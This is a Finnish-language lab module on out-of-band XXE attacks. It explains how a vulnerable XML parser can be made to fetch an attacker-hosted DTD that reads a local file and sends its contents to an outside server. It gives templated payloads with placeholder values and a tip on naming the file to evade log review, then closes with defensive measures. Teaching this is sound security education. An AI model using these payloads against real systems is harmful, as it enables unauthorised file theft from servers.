XXE Out Of Bound

Entä jos tulostetta ei ole lainkaan?

Edellisessä moduulissa pystyimme tulostamaan tiedoston sisällön virhepohjaisen tekniikan avulla. Mutta mitä jos sovellus ei palautakkaan virheitä tai paljasta mitään sen kummempaa vastauksissa?

Siinä tapauksessa on tietysti vaikeampaa havaita XXE-haavoittuvuuksia, vaikka sellainen olisikin olemassa. Tiedoston sisältö on silti mahdollista saada vuodettua esimerkiksi ulkoisen hyökkäyksen avulla, ja siitä opimme lisää tässä moduulissa.

Mitä tarkoittaa "Out-of-Band" (OOB)?

Kuten olemme jo oppineet, tavallisessa XXE-hyökkäyksessä hyökkääjälle palautetaan XML:n sisältä jotain takaisin selaimeen (in-band). Mutta kun sovelluksen vastaukset tai virheet eivät sisällä mitään dataa, hyökkääjät voivat käyttää muita kommunikointikanavia, kuten DNS:ää tai HTTP:tä, datan vuotamiseen. Tätä kutsutaan ulkopuoliseksi (Out-of-Band, OOB) XXE-hyökkäykseksi, jossa haavoittuva palvelin tekee erillisen pyynnön hyökkääjän hallitsemaan järjestelmään, paljastaen tietoa eri kanavaa pitkin kuin mistä hyökkäys on tullut. OOB-hyökkäykset ovat erityisen hyödyllisiä tilanteissa, joissa sovelluksen käyttöliittymä ei tarjoa välitöntä palautetta. Ne ovat myös vaikeampia havaita, koska vastaus ei sisällä hyökkäyksen tulosta ja tietovuoto tapahtuu täysin eri verkkopolusta.

Milloin OOB-tekniikkaa tulisi käyttää?

OOB-tekniikoita tulisi käyttää, kun perinteiset sisäiset menetelmät eivät palauta tuloksia tai näytä virheitä. Ne ovat hyviä sokeiden haavoittuvuuksien löytämiseen, joissa palvelin käsittelee haitallista syötettä mutta ei vastaa näkyvällä tulosteella. OOB on myös hyödyllinen, kun kohteena on järjestelmiä rajoitetuissa ympäristöissä, jotka sallivat edelleen lähtevän liikenteen. Se voi auttaa ohittamaan lokituksen ja tulosteen suodattamisen luottamalla palvelimen aloittamiin yhteyksiin hyökkäyskohteen hallitsemassa infrastruktuurissa.

Lyhyesti sanottuna sitä tulisi käyttää, kun:

• Palomuurit/suodattimet estävät virheilmoitukset tai tulosteet
• Epäilet haavoittuvuutta, mutta et näe suoria XXE-vastauksia
• Hyökkääjä ei hallitse tulostetta
• Haluat saada dataa huomaamatta

Esimerkki hyökkäyksen kulusta

Hyökkäyksen kulku on melkein samanlainen kuin edellisessä moduulissa ja menee näin:

• Hyökkääjä tunnistaa kohteen, johon injektoida XML-syötettä
• Hyökkääjä valmistaa haitallisen XML:n ulkoisella DTD-viitteellä
• Sovellus parsii XML-tiedoston, jossa DTD:t ovat sallittuja
• Ulkoinen DTD sisältää haitallisen rakenteen paikallisten tiedostojen tai järjestelmän tietojen lukemiseen
• DTD käyttää entiteettiä käynnistääkseen OOB-pyynnön
• Kohteessa oleva palvelin tekee verkkopyynnön (HTTP/DNS)
• Hyökkääjä seuraa palvelimensa liikennettä ja sieppaa vuodetun datan

Harjoitus

Pääset nyt itse toistamaan nämä vaiheet käyttäen apuna tähän mennessä oppimaasi. On suositeltavaa käydä ensin läpi edellinen moduuli, koska tämä harjoitus alkaa samoilla vaiheilla ja päättyy hieman erilaisen DTD:n käyttöön.

Huomioi, että sama kuin edellisessä moduulissa. Kaikki XML-käsittelijät, mukaan lukien tämän harjoituksen XML-käsittelijä, eivät tue HTTPS-protokollaa ulkoisen entiteetin URL-osoitteessa. Käytä siis salaamatonta HTTP:tä URL-osoitteissa.

Toista perässä

Käytimme hyökkääjän konetta haitallisen DTD-tiedoston tarjoilemiseen edellisessä moduulissa, ja samoja vaiheita voidaan käyttää myös tässä. Sinulla on käytössä Apache-verkkopalvelin, joka tarjoilee tiedostoja /root/web hakemistosta.

Aseta viittaus ulkoiseen DTD:hen kohdesovelluksessa

<!DOCTYPE order [
<!ENTITY % xxe SYSTEM "SOMETHING_HERE/malicious.dtd">
%xxe;
]>
<order>
<toppings>
<topping>Mozzarella</topping>
....

Ja hyökkääjän palvelimella hakemistoon /root/web/malicious.dtd

<!ENTITY % file SYSTEM "file:///SOMETHING_HERE">
<!ENTITY % all "<!ENTITY exfil SYSTEM 'SOMETHING_HERE'>">
%all;

Vinkki: .dtd-tiedoston nimen ei tarvitse välttämättä olla malicious.dtd, kunhan vain muistat viitata siihen oikealla tiedostonimellä kohdesovelluksessa. Tosielämän hyökkäysskenaariossa olisi vaikeampaa löytää lokeista jotain, joka voisi olla olemassa (kuten esimerkiksi pizza_toppings.dtd), kuin jotain, joka voisi liittyä hyökkäykseen (malicious.dtd).

Vaihda SOMETHING_HERE-osat oikeisiin arvoihin. Harjoitusympäristössä ei saa helposti tulostettua tiedostosisältöä, jossa on rivinvaihtoja tai välilyöntejä (esim. /etc/passwd), joten keskity secret-recipe tiedostoon.

Tavoitteenasi on jollakin tavalla löytää tapa heijastaa secret-recipe.txt tiedoston sisältö sinulle sovelluksen ulkopuolella.

Kuinka suojautua OOB-hyökkäyksiltä?

Estääkseen XXE- ja OOB-hyökkäykset sovellusten tulisi mahdollisuuksien mukaan poistaa DTD-tuki (Document Type Definitions) käytöstä XML-käsittelijässä. Tämä estää ulkoisten entiteettien käytön, jotka ovat XXE-hyökkäyksessä käytetty keskeinen mekanismi. Kehittäjien tulisi myös käyttää turvallisia ja hyvin ylläpidettyjä XML-kirjastoja, jotka ovat oletuksena kovennettuja.

Lisäksi palvelimen taustajärjestelmästä lähteviä verkkoyhteyksiä tulisi rajoittaa, jotta luvattomat DNS- tai HTTP-pyynnöt hyökkääjän hallitsemiin järjestelmiin estettäisiin.